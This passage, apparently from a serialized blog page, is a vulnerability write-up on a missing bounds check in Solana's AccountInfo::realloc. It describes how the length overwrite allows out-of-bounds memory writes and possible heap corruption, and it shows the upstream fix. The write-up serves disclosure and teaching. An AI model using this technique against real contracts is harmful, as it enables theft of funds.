23998,24000,24006,24008,24019,24021,24027,24029,24035,24037,24042,24044,24049,24051,24061,24062,24069,24070,24077,24084,24086,24092,24094,24100,24102,24107,24109,24114,24116,24122,24124,24129],{"type":29,"value":23999},"That ",{"type":24,"tag":135,"props":24001,"children":24003},{"className":24002},[],[24004],{"type":29,"value":24005},"as_ptr()",{"type":29,"value":24007}," call is ",{"type":24,"tag":32,"props":24009,"children":24012},{"href":24010,"rel":24011},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[36],[24013],{"type":24,"tag":135,"props":24014,"children":24016},{"className":24015},[],[24017],{"type":29,"value":24018},"RefCell::as_ptr()",{"type":29,"value":24020}," due to the ",{"type":24,"tag":135,"props":24022,"children":24024},{"className":24023},[],[24025],{"type":29,"value":24026},"Deref",{"type":29,"value":24028}," impl on ",{"type":24,"tag":135,"props":24030,"children":24032},{"className":24031},[],[24033],{"type":29,"value":24034},"Rc",{"type":29,"value":24036}," (remember also that ",{"type":24,"tag":135,"props":24038,"children":24040},{"className":24039},[],[24041],{"type":29,"value":23201},{"type":29,"value":24043}," itself doesn't behave like a reference, you need to actually ",{"type":24,"tag":10648,"props":24045,"children":24046},{},[24047],{"type":29,"value":24048},"get",{"type":29,"value":24050}," one through ",{"type":24,"tag":32,"props":24052,"children":24055},{"href":24053,"rel":24054},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[36],[24056],{"type":24,"tag":135,"props":24057,"children":24059},{"className":24058},[],[24060],{"type":29,"value":16515},{"type":29,"value":3360},{"type":24,"tag":32,"props":24063,"children":24066},{"href":24064,"rel":24065},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[36],[24067],{"type":29,"value":24068},"and",{"type":29,"value":3360},{"type":24,"tag":32,"props":24071,"children":24074},{"href":24072,"rel":24073},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[36],[24075],{"type":29,"value":24076},"frie",{"type":24,"tag":32,"props":24078,"children":24081},{"href":24079,"rel":24080},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[36],[24082],{"type":29,"value":24083},"nds",{"type":29,"value":24085},"). So from ",{"type":24,"tag":135,"props":24087,"children":24089},{"className":24088},[],[24090],{"type":29,"value":24091},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":29,"value":24093}," we get a ",{"type":24,"tag":135,"props":24095,"children":24097},{"className":24096},[],[24098],{"type":29,"value":24099},"*mut &mut [u8]",{"type":29,"value":24101}," - a ",{"type":24,"tag":10648,"props":24103,"children":24104},{},[24105],{"type":29,"value":24106},"pointer",{"type":29,"value":24108}," to the ",{"type":24,"tag":10648,"props":24110,"children":24111},{},[24112],{"type":29,"value":24113},"slice reference",{"type":29,"value":24115},". From here, we turn the pointer into a ",{"type":24,"tag":135,"props":24117,"children":24119},{"className":24118},[],[24120],{"type":29,"value":24121},"*const u64",{"type":29,"value":24123}," pointer and then offset by 1 ",{"type":24,"tag":135,"props":24125,"children":24127},{"className":24126},[],[24128],{"type":29,"value":15757},{"type":29,"value":24130}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":24,"tag":25,"props":24132,"children":24133},{},[24134,24136,24141,24143,24148,24150,24155,24157,24162,24164,24170],{"type":29,"value":24135},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":24,"tag":32,"props":24137,"children":24139},{"href":24138},"#Towards-safer-unsafe",[24140],{"type":29,"value":23808},{"type":29,"value":24142}," too, I promise. In summary, we're writing the new length as a ",{"type":24,"tag":135,"props":24144,"children":24146},{"className":24145},[],[24147],{"type":29,"value":15757},{"type":29,"value":24149}," to the region starting 8 bytes from the start of the slice ",{"type":24,"tag":10648,"props":24151,"children":24152},{},[24153],{"type":29,"value":24154},"reference",{"type":29,"value":24156}," (the ",{"type":24,"tag":135,"props":24158,"children":24160},{"className":24159},[],[24161],{"type":29,"value":23160},{"type":29,"value":24163},").So, what does ",{"type":24,"tag":135,"props":24165,"children":24167},{"className":24166},[],[24168],{"type":29,"value":24169},"&[T]",{"type":29,"value":24171}," look like in Rust?",{"type":24,"tag":25,"props":24173,"children":24174},{},[24175,24177,24184,24186,24199,24201,24207],{"type":29,"value":24176},"According to ",{"type":24,"tag":32,"props":24178,"children":24181},{"href":24179,"rel":24180},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[36],[24182],{"type":29,"value":24183},"the reference",{"type":29,"value":24185},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":24,"tag":32,"props":24187,"children":24190},{"href":24188,"rel":24189},"https://doc.rust-lang.org/reference/type-layout.html",[36],[24191,24193,24197],{"type":29,"value":24192},"\"Type layout can be changed with each compilation. ",{"type":24,"tag":271,"props":24194,"children":24195},{},[24196],{"type":29,"value":17298},{"type":29,"value":24198}," we only document what is guaranteed today\"",{"type":29,"value":24200},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":24,"tag":135,"props":24202,"children":24204},{"className":24203},[],[24205],{"type":29,"value":24206},"rustc",{"type":29,"value":24208},", the layout is a data pointer followed by the size; essentially the same as:",{"type":24,"tag":261,"props":24210,"children":24212},{"className":576,"code":24211,"language":578,"meta":7,"style":7},"// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n",[24213],{"type":24,"tag":135,"props":24214,"children":24215},{"__ignoreMap":7},[24216,24224,24236,24253,24266],{"type":24,"tag":271,"props":24217,"children":24218},{"class":273,"line":274},[24219],{"type":24,"tag":271,"props":24220,"children":24221},{"style":2058},[24222],{"type":29,"value":24223},"// C language\n",{"type":24,"tag":271,"props":24225,"children":24226},{"class":273,"line":284},[24227,24231],{"type":24,"tag":271,"props":24228,"children":24229},{"style":278},[24230],{"type":29,"value":1772},{"type":24,"tag":271,"props":24232,"children":24233},{"style":288},[24234],{"type":29,"value":24235}," slice_ref {\n",{"type":24,"tag":271,"props":24237,"children":24238},{"class":273,"line":294},[24239,24244,24248],{"type":24,"tag":271,"props":24240,"children":24241},{"style":278},[24242],{"type":29,"value":24243}," void",{"type":24,"tag":271,"props":24245,"children":24246},{"style":624},[24247],{"type":29,"value":627},{"type":24,"tag":271,"props":24249,"children":24250},{"style":288},[24251],{"type":29,"value":24252}," ptr;\n",{"type":24,"tag":271,"props":24254,"children":24255},{"class":273,"line":303},[24256,24261],{"type":24,"tag":271,"props":24257,"children":24258},{"style":278},[24259],{"type":29,"value":24260}," size_t",{"type":24,"tag":271,"props":24262,"children":24263},{"style":288},[24264],{"type":29,"value":24265}," len;\n",{"type":24,"tag":271,"props":24267,"children":24268},{"class":273,"line":312},[24269],{"type":24,"tag":271,"props":24270,"children":24271},{"style":288},[24272],{"type":29,"value":4006},{"type":24,"tag":25,"props":24274,"children":24275},{},[24276],{"type":29,"value":24277},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":24,"tag":3834,"props":24279,"children":24280},{},[24281,24286,24304],{"type":24,"tag":101,"props":24282,"children":24283},{},[24284],{"type":29,"value":24285},"Slices are laid out in the precise manner described",{"type":24,"tag":101,"props":24287,"children":24288},{},[24289,24291,24297,24299],{"type":29,"value":24290},"Pointers and ",{"type":24,"tag":135,"props":24292,"children":24294},{"className":24293},[],[24295],{"type":29,"value":24296},"usize",{"type":29,"value":24298}," are the same width as ",{"type":24,"tag":135,"props":24300,"children":24302},{"className":24301},[],[24303],{"type":29,"value":15757},{"type":24,"tag":101,"props":24305,"children":24306},{},[24307,24308,24313],{"type":29,"value":1422},{"type":24,"tag":135,"props":24309,"children":24311},{"className":24310},[],[24312],{"type":29,"value":23201},{"type":29,"value":24314}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":24,"tag":25,"props":24316,"children":24317},{},[24318,24320,24325,24327,24333,24335,24340,24342,24348,24350,24355,24357,24367],{"type":29,"value":24319},"Assumption #2 is ",{"type":24,"tag":10648,"props":24321,"children":24322},{},[24323],{"type":29,"value":24324},"probably",{"type":29,"value":24326}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":24,"tag":135,"props":24328,"children":24330},{"className":24329},[],[24331],{"type":29,"value":24332},"borrow_mut",{"type":29,"value":24334}," of the ",{"type":24,"tag":135,"props":24336,"children":24338},{"className":24337},[],[24339],{"type":29,"value":23201},{"type":29,"value":24341}," (through ",{"type":24,"tag":135,"props":24343,"children":24345},{"className":24344},[],[24346],{"type":29,"value":24347},"AccountInfo::try_borrow_mut_data()",{"type":29,"value":24349},"), and ",{"type":24,"tag":135,"props":24351,"children":24353},{"className":24352},[],[24354],{"type":29,"value":23201},{"type":29,"value":24356}," is not usable between multiple threads",{"type":24,"tag":23171,"props":24358,"children":24359},{},[24360],{"type":24,"tag":32,"props":24361,"children":24365},{"href":24362,"ariaDescribedBy":24363,"dataFootnoteRef":7,"id":24364},"#user-content-fn-sendsync",[23178],"user-content-fnref-sendsync",[24366],{"type":29,"value":165},{"type":29,"value":24368},", so we already have exclusive access.",{"type":24,"tag":25,"props":24370,"children":24371},{},[24372,24374,24378],{"type":29,"value":24373},"A few more ",{"type":24,"tag":10648,"props":24375,"children":24376},{},[24377],{"type":29,"value":14824},{"type":29,"value":24379}," things of note, that could have gone badly but didn't:",{"type":24,"tag":97,"props":24381,"children":24382},{},[24383,24425],{"type":24,"tag":101,"props":24384,"children":24385},{},[24386,24388,24394,24396,24401,24403,24408,24410,24415,24417,24423],{"type":29,"value":24387},"By reborrowing the pointer (the ",{"type":24,"tag":135,"props":24389,"children":24391},{"className":24390},[],[24392],{"type":29,"value":24393},"&mut *(\u003Cvalue of type *mut u64>)",{"type":29,"value":24395},"), we've created a reference with an ",{"type":24,"tag":10648,"props":24397,"children":24398},{},[24399],{"type":29,"value":24400},"unbounded lifetime",{"type":29,"value":24402},". Rust is free to infer ",{"type":24,"tag":10648,"props":24404,"children":24405},{},[24406],{"type":29,"value":24407},"any",{"type":29,"value":24409}," lifetime for ",{"type":24,"tag":135,"props":24411,"children":24413},{"className":24412},[],[24414],{"type":29,"value":21648},{"type":29,"value":24416}," (including ",{"type":24,"tag":135,"props":24418,"children":24420},{"className":24419},[],[24421],{"type":29,"value":24422},"'static",{"type":29,"value":24424},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":24,"tag":101,"props":24426,"children":24427},{},[24428,24430,24436,24438,24443,24445,24450,24452,24457,24459,24464,24466,24471,24473,24478,24480,24486,24488,24493,24495,24500,24502,24507,24509,24514,24516,24521],{"type":29,"value":24429},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":24,"tag":135,"props":24431,"children":24433},{"className":24432},[],[24434],{"type":29,"value":24435},"RefMut",{"type":29,"value":24437}," returned from ",{"type":24,"tag":135,"props":24439,"children":24441},{"className":24440},[],[24442],{"type":29,"value":21574},{"type":29,"value":24444},", but the ",{"type":24,"tag":135,"props":24446,"children":24448},{"className":24447},[],[24449],{"type":29,"value":24435},{"type":29,"value":24451}," is dropped at the end of the statement. So, we now have in ",{"type":24,"tag":135,"props":24453,"children":24455},{"className":24454},[],[24456],{"type":29,"value":21648},{"type":29,"value":24458}," a ",{"type":24,"tag":10648,"props":24460,"children":24461},{},[24462],{"type":29,"value":24463},"mutable",{"type":29,"value":24465}," pointer to the ",{"type":24,"tag":135,"props":24467,"children":24469},{"className":24468},[],[24470],{"type":29,"value":23201},{"type":29,"value":24472},"'s data, but the ",{"type":24,"tag":135,"props":24474,"children":24476},{"className":24475},[],[24477],{"type":29,"value":23201},{"type":29,"value":24479}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":24,"tag":135,"props":24481,"children":24483},{"className":24482},[],[24484],{"type":29,"value":24485},"Mutex",{"type":29,"value":24487}," instead of a ",{"type":24,"tag":135,"props":24489,"children":24491},{"className":24490},[],[24492],{"type":29,"value":23201},{"type":29,"value":24494}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":24,"tag":135,"props":24496,"children":24498},{"className":24497},[],[24499],{"type":29,"value":21648},{"type":29,"value":24501}," and writing to it ",{"type":24,"tag":10648,"props":24503,"children":24504},{},[24505],{"type":29,"value":24506},"and succeed",{"type":29,"value":24508},", resulting in us writing while another reference is alive. However, since ",{"type":24,"tag":135,"props":24510,"children":24512},{"className":24511},[],[24513],{"type":29,"value":21648},{"type":29,"value":24515}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":24,"tag":135,"props":24517,"children":24519},{"className":24518},[],[24520],{"type":29,"value":8590},{"type":29,"value":24522}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":24,"tag":25,"props":24524,"children":24525},{},[24526,24528,24533],{"type":29,"value":24527},"Ok, now that we've understood what the code is ",{"type":24,"tag":10648,"props":24529,"children":24530},{},[24531],{"type":29,"value":24532},"trying",{"type":29,"value":24534}," to do, let's try to break it, shall we?",{"type":24,"tag":62,"props":24536,"children":24538},{"id":24537},"what-can-go-wrong",[24539],{"type":29,"value":24540},"What can go wrong?",{"type":24,"tag":85,"props":24542,"children":24544},{"id":24543},"contracts",[24545],{"type":29,"value":24546},"Contracts",{"type":24,"tag":25,"props":24548,"children":24549},{},[24550,24552,24557,24559,24564,24566,24571,24573,24578],{"type":29,"value":24551},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":24,"tag":135,"props":24553,"children":24555},{"className":24554},[],[24556],{"type":29,"value":21339},{"type":29,"value":24558},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":24,"tag":135,"props":24560,"children":24562},{"className":24561},[],[24563],{"type":29,"value":21339},{"type":29,"value":24565}," to some large size, past the end of the buffer of roughly ",{"type":24,"tag":135,"props":24567,"children":24569},{"className":24568},[],[24570],{"type":29,"value":22990},{"type":29,"value":24572}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":24,"tag":135,"props":24574,"children":24576},{"className":24575},[],[24577],{"type":29,"value":8590},{"type":29,"value":24579}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":24,"tag":25,"props":24581,"children":24582},{},[24583,24585,24592],{"type":29,"value":24584},"There is ",{"type":24,"tag":32,"props":24586,"children":24589},{"href":24587,"rel":24588},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[36],[24590],{"type":29,"value":24591},"a check",{"type":29,"value":24593}," by the BPF loader, however, and it boils down to:",{"type":24,"tag":261,"props":24595,"children":24597},{"className":10718,"code":24596,"language":10717,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[24598],{"type":24,"tag":135,"props":24599,"children":24600},{"__ignoreMap":7},[24601,24639,24669,24676,24708],{"type":24,"tag":271,"props":24602,"children":24603},{"class":273,"line":274},[24604,24608,24613,24617,24621,24625,24629,24634],{"type":24,"tag":271,"props":24605,"children":24606},{"style":749},[24607],{"type":29,"value":23277},{"type":24,"tag":271,"props":24609,"children":24610},{"style":630},[24611],{"type":29,"value":24612}," post_len",{"type":24,"tag":271,"props":24614,"children":24615},{"style":624},[24616],{"type":29,"value":41},{"type":24,"tag":271,"props":24618,"children":24619},{"style":598},[24620],{"type":29,"value":21990},{"type":24,"tag":271,"props":24622,"children":24623},{"style":288},[24624],{"type":29,"value":606},{"type":24,"tag":271,"props":24626,"children":24627},{"style":624},[24628],{"type":29,"value":627},{"type":24,"tag":271,"props":24630,"children":24631},{"style":630},[24632],{"type":29,"value":24633},"pre_len",{"type":24,"tag":271,"props":24635,"children":24636},{"style":288},[24637],{"type":29,"value":24638},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":24,"tag":271,"props":24640,"children":24641},{"class":273,"line":284},[24642,24647,24651,24655,24660,24664],{"type":24,"tag":271,"props":24643,"children":24644},{"style":624},[24645],{"type":29,"value":24646}," ||",{"type":24,"tag":271,"props":24648,"children":24649},{"style":630},[24650],{"type":29,"value":24612},{"type":24,"tag":271,"props":24652,"children":24653},{"style":624},[24654],{"type":29,"value":21892},{"type":24,"tag":271,"props":24656,"children":24657},{"style":288},[24658],{"type":29,"value":24659}," MAX_PERMITTED_DATA_LENGTH ",{"type":24,"tag":271,"props":24661,"children":24662},{"style":278},[24663],{"type":29,"value":16555},{"type":24,"tag":271,"props":24665,"children":24666},{"style":3887},[24667],{"type":29,"value":24668}," usize\n",{"type":24,"tag":271,"props":24670,"children":24671},{"class":273,"line":294},[24672],{"type":24,"tag":271,"props":24673,"children":24674},{"style":288},[24675],{"type":29,"value":702},{"type":24,"tag":271,"props":24677,"children":24678},{"class":273,"line":303},[24679,24683,24687,24691,24695,24699,24704],{"type":24,"tag":271,"props":24680,"children":24681},{"style":749},[24682],{"type":29,"value":9640},{"type":24,"tag":271,"props":24684,"children":24685},{"style":3887},[24686],{"type":29,"value":23446},{"type":24,"tag":271,"props":24688,"children":24689},{"style":288},[24690],{"type":29,"value":606},{"type":24,"tag":271,"props":24692,"children":24693},{"style":3887},[24694],{"type":29,"value":23455},{"type":24,"tag":271,"props":24696,"children":24697},{"style":624},[24698],{"type":29,"value":11207},{"type":24,"tag":271,"props":24700,"children":24701},{"style":3887},[24702],{"type":29,"value":24703},"InvalidRealloc",{"type":24,"tag":271,"props":24705,"children":24706},{"style":288},[24707],{"type":29,"value":1155},{"type":24,"tag":271,"props":24709,"children":24710},{"class":273,"line":312},[24711],{"type":24,"tag":271,"props":24712,"children":24713},{"style":288},[24714],{"type":29,"value":1171},{"type":24,"tag":25,"props":24716,"children":24717},{},[24718,24720,24725,24727,24732],{"type":29,"value":24719},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":24,"tag":10648,"props":24721,"children":24722},{},[24723],{"type":29,"value":24724},"finishes",{"type":29,"value":24726}," execution. ",{"type":24,"tag":10648,"props":24728,"children":24729},{},[24730],{"type":29,"value":24731},"During",{"type":29,"value":24733}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":24,"tag":25,"props":24735,"children":24736},{},[24737,24739,24744,24746,24751,24753,24760],{"type":29,"value":24738},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":24,"tag":10648,"props":24740,"children":24741},{},[24742],{"type":29,"value":24743},"arbitrary",{"type":29,"value":24745}," memory access through a mistakenly-",{"type":24,"tag":135,"props":24747,"children":24749},{"className":24748},[],[24750],{"type":29,"value":21339},{"type":29,"value":24752},"'d account, this falls in the relm of some ",{"type":24,"tag":32,"props":24754,"children":24757},{"href":24755,"rel":24756},"https://en.wikipedia.org/wiki/Buffer_overflow",[36],[24758],{"type":29,"value":24759},"old-school pwning",{"type":29,"value":24761}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":24,"tag":85,"props":24763,"children":24765},{"id":24764},"not-contracts",[24766],{"type":29,"value":24767},"Not-contracts?",{"type":24,"tag":25,"props":24769,"children":24770},{},[24771,24773,24778,24780,24790,24792,24804,24806,24813,24815,24820,24822,24827,24829,24842,24844,24849,24851,24856],{"type":29,"value":24772},"Remember when we said that all this code makes sense ",{"type":24,"tag":10648,"props":24774,"children":24775},{},[24776],{"type":29,"value":24777},"if the data points to the BPF loader's serialized buffer",{"type":29,"value":24779},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":24,"tag":32,"props":24781,"children":24784},{"href":24782,"rel":24783},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[36],[24785],{"type":24,"tag":135,"props":24786,"children":24788},{"className":24787},[],[24789],{"type":29,"value":22636},{"type":29,"value":24791}," are public, and so is its ",{"type":24,"tag":32,"props":24793,"children":24796},{"href":24794,"rel":24795},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[36],[24797,24802],{"type":24,"tag":135,"props":24798,"children":24800},{"className":24799},[],[24801],{"type":29,"value":22819},{"type":29,"value":24803}," method",{"type":29,"value":24805}," (which is ",{"type":24,"tag":32,"props":24807,"children":24810},{"href":24808,"rel":24809},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[36],[24811],{"type":29,"value":24812},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":29,"value":24814},"). The ",{"type":24,"tag":135,"props":24816,"children":24818},{"className":24817},[],[24819],{"type":29,"value":21339},{"type":29,"value":24821}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":24,"tag":135,"props":24823,"children":24825},{"className":24824},[],[24826],{"type":29,"value":22636},{"type":29,"value":24828}," ourselves - potentially through the ",{"type":24,"tag":32,"props":24830,"children":24833},{"href":24831,"rel":24832},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[36],[24834,24840],{"type":24,"tag":135,"props":24835,"children":24837},{"className":24836},[],[24838],{"type":29,"value":24839},"Account",{"type":29,"value":24841}," trait",{"type":29,"value":24843},", which is hardly documented at all and makes ",{"type":24,"tag":10648,"props":24845,"children":24846},{},[24847],{"type":29,"value":24848},"no",{"type":29,"value":24850}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":24,"tag":135,"props":24852,"children":24854},{"className":24853},[],[24855],{"type":29,"value":8590},{"type":29,"value":24857}," buffer.",{"type":24,"tag":25,"props":24859,"children":24860},{},[24861,24863,24874,24876,24882,24884,24890,24892,24905,24907,24912,24914,24919,24921,24926,24928,24933,24935,24940,24942,24947],{"type":29,"value":24862},"One long arm of this is ",{"type":24,"tag":32,"props":24864,"children":24867},{"href":24865,"rel":24866},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[36],[24868],{"type":24,"tag":135,"props":24869,"children":24871},{"className":24870},[],[24872],{"type":29,"value":24873},"solana_sdk::account::Account",{"type":29,"value":24875}," - in the client SDK. It holds an account's data in a ",{"type":24,"tag":135,"props":24877,"children":24879},{"className":24878},[],[24880],{"type":29,"value":24881},"Vec\u003Cu8>",{"type":29,"value":24883},", and it implements ",{"type":24,"tag":135,"props":24885,"children":24887},{"className":24886},[],[24888],{"type":29,"value":24889},"solana_program::account_info::Account",{"type":29,"value":24891}," (the trait from earlier) - by ",{"type":24,"tag":32,"props":24893,"children":24896},{"href":24894,"rel":24895},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[36],[24897,24899],{"type":29,"value":24898},"returning a reference to the contents of that ",{"type":24,"tag":135,"props":24900,"children":24902},{"className":24901},[],[24903],{"type":29,"value":24904},"Vec",{"type":29,"value":24906},". So, ",{"type":24,"tag":135,"props":24908,"children":24910},{"className":24909},[],[24911],{"type":29,"value":21339},{"type":29,"value":24913}," writes the size into the 8 bytes right before ",{"type":24,"tag":135,"props":24915,"children":24917},{"className":24916},[],[24918],{"type":29,"value":8590},{"type":29,"value":24920},"; ",{"type":24,"tag":135,"props":24922,"children":24924},{"className":24923},[],[24925],{"type":29,"value":8590},{"type":29,"value":24927}," is the buffer of a ",{"type":24,"tag":135,"props":24929,"children":24931},{"className":24930},[],[24932],{"type":29,"value":24904},{"type":29,"value":24934},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":24,"tag":135,"props":24936,"children":24938},{"className":24937},[],[24939],{"type":29,"value":22636},{"type":29,"value":24941}," out of an SDK ",{"type":24,"tag":135,"props":24943,"children":24945},{"className":24944},[],[24946],{"type":29,"value":24839},{"type":29,"value":24948}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":24,"tag":62,"props":24950,"children":24952},{"id":24951},"remediation",[24953],{"type":29,"value":24954},"Remediation",{"type":24,"tag":25,"props":24956,"children":24957},{},[24958],{"type":29,"value":24959},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":24,"tag":25,"props":24961,"children":24962},{},[24963,24965,24970,24972,24977,24979,24989,24991,24996,24998,25005],{"type":29,"value":24964},"The sensible thing to do would be to store the initial size in the ",{"type":24,"tag":135,"props":24966,"children":24968},{"className":24967},[],[24969],{"type":29,"value":22636},{"type":29,"value":24971},"... except for the fact that the layout of ",{"type":24,"tag":135,"props":24973,"children":24975},{"className":24974},[],[24976],{"type":29,"value":22636},{"type":29,"value":24978}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":24,"tag":23171,"props":24980,"children":24981},{},[24982],{"type":24,"tag":32,"props":24983,"children":24987},{"href":24984,"ariaDescribedBy":24985,"dataFootnoteRef":7,"id":24986},"#user-content-fn-layout",[23178],"user-content-fnref-layout",[24988],{"type":29,"value":4525},{"type":29,"value":24990}," So, with changing ",{"type":24,"tag":135,"props":24992,"children":24994},{"className":24993},[],[24995],{"type":29,"value":22636},{"type":29,"value":24997}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":24,"tag":32,"props":24999,"children":25002},{"href":25000,"rel":25001},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[36],[25003],{"type":29,"value":25004},"this function",{"type":29,"value":12210},{"type":24,"tag":261,"props":25007,"children":25009},{"className":10718,"code":25008,"language":10717,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[25010],{"type":24,"tag":135,"props":25011,"children":25012},{"__ignoreMap":7},[25013,25021,25029,25037,25045,25052,25060,25068,25116,25181,25246,25267],{"type":24,"tag":271,"props":25014,"children":25015},{"class":273,"line":274},[25016],{"type":24,"tag":271,"props":25017,"children":25018},{"style":2058},[25019],{"type":29,"value":25020},"/// Return the account's original data length when it was serialized for the\n",{"type":24,"tag":271,"props":25022,"children":25023},{"class":273,"line":284},[25024],{"type":24,"tag":271,"props":25025,"children":25026},{"style":2058},[25027],{"type":29,"value":25028},"/// current program invocation.\n",{"type":24,"tag":271,"props":25030,"children":25031},{"class":273,"line":294},[25032],{"type":24,"tag":271,"props":25033,"children":25034},{"style":2058},[25035],{"type":29,"value":25036},"///\n",{"type":24,"tag":271,"props":25038,"children":25039},{"class":273,"line":303},[25040],{"type":24,"tag":271,"props":25041,"children":25042},{"style":2058},[25043],{"type":29,"value":25044},"/// # Safety\n",{"type":24,"tag":271,"props":25046,"children":25047},{"class":273,"line":312},[25048],{"type":24,"tag":271,"props":25049,"children":25050},{"style":2058},[25051],{"type":29,"value":25036},{"type":24,"tag":271,"props":25053,"children":25054},{"class":273,"line":321},[25055],{"type":24,"tag":271,"props":25056,"children":25057},{"style":2058},[25058],{"type":29,"value":25059},"/// This method assumes that the original data length was serialized as a u32\n",{"type":24,"tag":271,"props":25061,"children":25062},{"class":273,"line":330},[25063],{"type":24,"tag":271,"props":25064,"children":25065},{"style":2058},[25066],{"type":29,"value":25067},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":24,"tag":271,"props":25069,"children":25070},{"class":273,"line":339},[25071,25075,25079,25083,25088,25092,25096,25100,25104,25108,25112],{"type":24,"tag":271,"props":25072,"children":25073},{"style":278},[25074],{"type":29,"value":21391},{"type":24,"tag":271,"props":25076,"children":25077},{"style":278},[25078],{"type":29,"value":22288},{"type":24,"tag":271,"props":25080,"children":25081},{"style":278},[25082],{"type":29,"value":21396},{"type":24,"tag":271,"props":25084,"children":25085},{"style":598},[25086],{"type":29,"value":25087}," original_data_len",{"type":24,"tag":271,"props":25089,"children":25090},{"style":288},[25091],{"type":29,"value":606},{"type":24,"tag":271,"props":25093,"children":25094},{"style":624},[25095],{"type":29,"value":1137},{"type":24,"tag":271,"props":25097,"children":25098},{"style":278},[25099],{"type":29,"value":21414},{"type":24,"tag":271,"props":25101,"children":25102},{"style":288},[25103],{"type":29,"value":8823},{"type":24,"tag":271,"props":25105,"children":25106},{"style":624},[25107],{"type":29,"value":786},{"type":24,"tag":271,"props":25109,"children":25110},{"style":3887},[25111],{"type":29,"value":21432},{"type":24,"tag":271,"props":25113,"children":25114},{"style":288},[25115],{"type":29,"value":7145},{"type":24,"tag":271,"props":25117,"children":25118},{"class":273,"line":347},[25119,25123,25128,25132,25136,25140,25145,25149,25153,25157,25161,25165,25169,25173,25177],{"type":24,"tag":271,"props":25120,"children":25121},{"style":278},[25122],{"type":29,"value":10738},{"type":24,"tag":271,"props":25124,"children":25125},{"style":630},[25126],{"type":29,"value":25127}," 